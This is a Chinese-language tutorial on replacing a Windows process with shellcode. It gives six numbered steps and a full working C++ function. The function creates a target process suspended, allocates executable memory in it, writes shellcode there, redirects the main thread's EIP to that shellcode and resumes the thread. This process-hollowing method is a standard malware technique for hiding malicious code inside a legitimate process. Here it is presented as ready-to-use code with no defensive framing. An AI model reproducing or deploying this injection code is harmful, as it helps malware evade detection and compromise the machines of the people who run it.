實現原理:
以掛起的方式打開目標進程,將ShellCode代碼寫入目標進程,並修改目標進程的執行流程,使其轉而執行ShellCode代碼,這樣,進程還是目標原本進程,但執行的操作卻替換成我們的ShellCode了。
實現過程:
(1).調用CreateProcess以掛起的方式(CREATE_SUSPENDED)創建進程
(2).調用VirtualAllocEx函數申請一個可讀、可寫、可執行的內存
(3).調用WriteProcessMemory將Shellcode數據寫入剛申請的內存中
(4).調用GetThreadContext,設置獲取標志為CONTEXT_FULL,即獲取新進程中所有線程的上下文
(5).修改線程上下文中EIP的值為申請的內存的首地址,通過SetThreadContext函數設置回主線程中
(6).調用ResumeThread恢復主線程
注意:在使用GetThreadContext獲取線程上下文的時候,一定要對上下文結構中的ContextFlags成員賦值,指明要檢索線程上下文的哪些部分,否則會導致程序不能實現到想要的效果。此次ContextFlags賦值為CONTEXT_FULL,這表示獲取所有線程的上下文信息。
實現代碼:
//************************************ // 函數名:CHideDlg::ReplaceProcess // 返回類型:BOOL // 功能: 使用ShellCode替換目標進程 // 參數1:char *pszFilePath 目標進程路徑 // 參數2:PVOID pReplaceData Shellcode首地址 // 參數3:DWORD dwReplaceDataSize Shellcode大小(字節) // 參數4:DWORD dwRunOffset Shellcode中開始代碼相對首地址的偏移 //************************************ BOOL CHideDlg::ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset) { STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONTEXT threadContext = { 0 }; BOOL bRet = FALSE; ::RtlZeroMemory(&si, sizeof(si)); ::RtlZeroMemory(&pi, sizeof(pi)); ::RtlZeroMemory(&threadContext, sizeof(threadContext)); si.cb = sizeof(si); // 創建進程並掛起主線程 bRet = ::CreateProcessA(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); if (FALSE == bRet) { MessageBox(_T("創建掛起主線程失敗!")); return FALSE; } // 在進程中申請一塊內存 LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpDestBaseAddr) { MessageBox(_T("申請內存失敗!")); return FALSE; } // 寫入Shellcode數據 bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL); if (FALSE == bRet) { MessageBox(_T("寫入Shelcode失敗!")); return FALSE; } // 獲取線程上下文 threadContext.ContextFlags = CONTEXT_FULL; bRet = ::GetThreadContext(pi.hThread, &threadContext); if (FALSE == bRet) { MessageBox(_T("獲取線程上下文失敗!")); return FALSE; } // 修改進程中PE文件的入口地址 threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset; // 設置掛起進程的線程上下文 bRet = ::SetThreadContext(pi.hThread, &threadContext); if (FALSE == bRet) { MessageBox(_T("設置掛起線程的上下文失敗!")); return FALSE; } // 恢復掛起進程的線程 ::ResumeThread(pi.hThread); return TRUE; }